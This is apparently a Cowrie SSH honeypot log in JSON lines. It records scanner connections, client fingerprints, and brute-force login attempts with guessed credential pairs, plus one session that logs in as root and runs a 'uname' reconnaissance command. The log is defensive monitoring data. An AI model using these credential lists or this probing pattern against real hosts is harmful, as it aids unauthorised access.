{"eventid":"cowrie.login.failed","username":"test","password":"test","message":"login attempt [test/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:02:42.580662Z","src_ip":"193.46.255.86","session":"ee8ec15d7e9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test1234","message":"login attempt [test/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:02:43.719896Z","src_ip":"193.46.255.86","session":"ee8ec15d7e9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test123","message":"login attempt [test/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:02:44.859198Z","src_ip":"193.46.255.86","session":"ee8ec15d7e9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.164.62.66","src_port":40370,"dst_ip":"159.203.135.109","dst_port":22,"session":"69a821f04a76","protocol":"ssh","message":"New connection: 194.164.62.66:40370 (159.203.135.109:22) [session: 69a821f04a76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:02:44.922356Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:02:44.930239Z","src_ip":"194.164.62.66","session":"69a821f04a76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:02:45.034657Z","src_ip":"194.164.62.66","session":"69a821f04a76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123","message":"login attempt [test/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:02:45.999369Z","src_ip":"193.46.255.86","session":"ee8ec15d7e9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1234","message":"login attempt [test/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:02:47.138234Z","src_ip":"193.46.255.86","session":"ee8ec15d7e9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.5","message":"Connection lost after 6.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:02:48.278434Z","src_ip":"193.46.255.86","session":"ee8ec15d7e9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:02:52.922976Z","src_ip":"194.164.62.66","session":"69a821f04a76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.222.128.242","src_port":12626,"dst_ip":"159.203.135.109","dst_port":22,"session":"5aba7c7dbc4e","protocol":"ssh","message":"New connection: 8.222.128.242:12626 (159.203.135.109:22) [session: 5aba7c7dbc4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:02:57.429290Z"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:03:00.680774Z","src_ip":"8.222.128.242","session":"5aba7c7dbc4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.222.128.242","src_port":12632,"dst_ip":"159.203.135.109","dst_port":22,"session":"3814a5798e52","protocol":"ssh","message":"New connection: 8.222.128.242:12632 (159.203.135.109:22) [session: 3814a5798e52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:03:00.909733Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:03:00.914062Z","src_ip":"8.222.128.242","session":"3814a5798e52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:03:01.155814Z","src_ip":"8.222.128.242","session":"3814a5798e52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:03:01.873547Z","src_ip":"8.222.128.242","session":"3814a5798e52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"184.105.247.196","src_port":55688,"dst_ip":"159.203.135.109","dst_port":22,"session":"c57c54eb312f","protocol":"ssh","message":"New connection: 184.105.247.196:55688 (159.203.135.109:22) [session: c57c54eb312f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:03:09.637442Z"}
{"eventid":"cowrie.client.version","version":"GET / HTTP/1.1","message":"Remote SSH version: GET / HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:03:09.641836Z","src_ip":"184.105.247.196","session":"c57c54eb312f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:03:09.645184Z","src_ip":"184.105.247.196","session":"c57c54eb312f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":57620,"dst_ip":"10.17.0.5","dst_port":22,"session":"d80d8a261dc2","protocol":"ssh","message":"New connection: 14.225.2.125:57620 (10.17.0.5:22) [session: d80d8a261dc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:03:14.820618Z"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:03:15.096530Z","src_ip":"14.225.2.125","session":"d80d8a261dc2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":50108,"dst_ip":"10.17.0.5","dst_port":22,"session":"09dc48228d21","protocol":"ssh","message":"New connection: 14.225.2.125:50108 (10.17.0.5:22) [session: 09dc48228d21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:03:15.352327Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:03:15.357641Z","src_ip":"14.225.2.125","session":"09dc48228d21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:03:15.619479Z","src_ip":"14.225.2.125","session":"09dc48228d21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shop","password":"shop","message":"login attempt [shop/shop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:03:16.406374Z","src_ip":"14.225.2.125","session":"09dc48228d21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:03:17.670764Z","src_ip":"14.225.2.125","session":"09dc48228d21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.193","src_port":44526,"dst_ip":"10.17.0.5","dst_port":22,"session":"19ef1e9d50b8","protocol":"ssh","message":"New connection: 2.57.122.193:44526 (10.17.0.5:22) [session: 19ef1e9d50b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:03:58.780277Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:03:58.784867Z","src_ip":"2.57.122.193","session":"19ef1e9d50b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:03:58.884031Z","src_ip":"2.57.122.193","session":"19ef1e9d50b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:03:59.310385Z","src_ip":"2.57.122.193","session":"19ef1e9d50b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":38942,"dst_ip":"10.17.0.5","dst_port":22,"session":"cdf0033c8e0a","protocol":"ssh","message":"New connection: 2.57.122.210:38942 (10.17.0.5:22) [session: cdf0033c8e0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:04:24.444136Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:04:24.448598Z","src_ip":"2.57.122.210","session":"cdf0033c8e0a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:04:24.551151Z","src_ip":"2.57.122.210","session":"cdf0033c8e0a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"elayer","message":"login attempt [root/elayer] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:04:24.850223Z","src_ip":"2.57.122.210","session":"cdf0033c8e0a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:04:25.090066Z","src_ip":"2.57.122.210","session":"cdf0033c8e0a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:04:25.093631Z","src_ip":"2.57.122.210","session":"cdf0033c8e0a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:04:25.197898Z","src_ip":"2.57.122.210","session":"cdf0033c8e0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:04:25.203520Z","src_ip":"2.57.122.210","session":"cdf0033c8e0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":59606,"dst_ip":"159.203.135.109","dst_port":22,"session":"59e5dfbda3a0","protocol":"ssh","message":"New connection: 195.178.110.218:59606 (159.203.135.109:22) [session: 59e5dfbda3a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:04:57.059676Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:04:57.063868Z","src_ip":"195.178.110.218","session":"59e5dfbda3a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:04:57.143511Z","src_ip":"195.178.110.218","session":"59e5dfbda3a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"root","message":"login attempt [solana/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:04:57.382983Z","src_ip":"195.178.110.218","session":"59e5dfbda3a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:04:58.466745Z","src_ip":"195.178.110.218","session":"59e5dfbda3a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":12838,"dst_ip":"159.203.135.109","dst_port":22,"session":"679272b1cfb2","protocol":"ssh","message":"New connection: 213.209.159.158:12838 (159.203.135.109:22) [session: 679272b1cfb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:05:15.037986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:05:17.459302Z","src_ip":"213.209.159.158","session":"679272b1cfb2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:05:17.463190Z","src_ip":"213.209.159.158","session":"679272b1cfb2","protocol":"ssh"}
